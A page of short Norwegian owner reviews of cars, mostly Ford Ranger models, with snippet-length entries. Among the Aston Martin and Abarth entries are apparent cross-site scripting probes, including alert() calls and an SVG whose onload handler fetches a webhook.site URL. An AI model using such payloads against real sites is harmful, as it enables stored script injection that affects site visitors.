Ford Ranger (2020)

Veldig fornøyd med bilen, gjør alt jeg ber den om.. og det er ikke alltid lite.

Ford Ranger (2019)

Dette er en meget tøff å robust bil, en fryd å eie .Driftsikker ,god framkommelighet. Passer både til arbeid og fritid. Synd norske avgifter ødelegger for at det er aktuelt med bakseter. Da hadde

Ford Ranger (2017)

Beste pickup jeg har kjørt til nå så lenge jeg kjører på vinterdekk. Med sommerdekk er den utrygg på sporete vei. Vurderer å kjøre med vinterdekk om sommeren også.

Ford Ranger (2017)

I Norge koster vel denne med bakseter mer enn 700.000....men jeg kjøpte denne nylig her på Filippinene. Her er prisen ca. 290,000. meget bra lasteevne. Hadde nylig 20 passasjerer på bilen....helt l

Ford Ranger (2016)

En av mine morsomste biler så langt

Ford Ranger (2016)

Veldig fornøyd med bilen

Ford Ranger (2016)

Veldig god bil, god å kjøre, godt førermiljø. Kjøpt ny, ikke helt problemfri men forhandler har ordnet opp (byttet EGR-ventil som gjorde at bilen en sjelden gang i blant jukset på tomgang)

Ford Ranger (2016)

Etter min mening er dette den beste Pickupen på markedet akkurat nå, med gode kjøreegenskaper, mange og praktiske løsninger, samt et høyt utstyrs nivå. Rett og slett en Pickup til både jobb og

Ford Ranger (2016)

nydelig bil dersom pengeboka strekker til. gjennomført kvalitet, sterk motor og utrolige terrengegenskaper.

Ford Ranger (2015)

God kjørekomfort, savner teleskopratt. For liten motor, dårlig girkasse (girer ofte og bråker mye) Tidvis mye feil.

Ford Ranger (2013)

God bil

Ford Ranger (2009)

En god bil uten alle slags elektroniske " krykker". Det vil si færre ting som kan gå i stykker.

Ford Ranger (2008)

Bilen kjøpte jeg i 2010 med 19000 km på telleren den har i dag kjørt ca 142000 km. den har fungert bra, har aldri hatt driftstans. litt høye utgifter på service synes jeg, men det er en 4wd bil s

Ford Ranger (2007)

Hatt bilen siden 2014 og kjørt nesten 150.000km Lite problemer utenom vanlige slitedeler og service. Behagelig bil å kjøre og god fremkommelighet i ulendt terreng. Eneste minuset er at den er lit

Ford Ranger (2007)

Driftssikker god bil. Kom en del rust på. understell/karosseri etter 2år, ble raskt utbedret med tectyl av forhandler! Ellers har bilen vært problemfri.

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km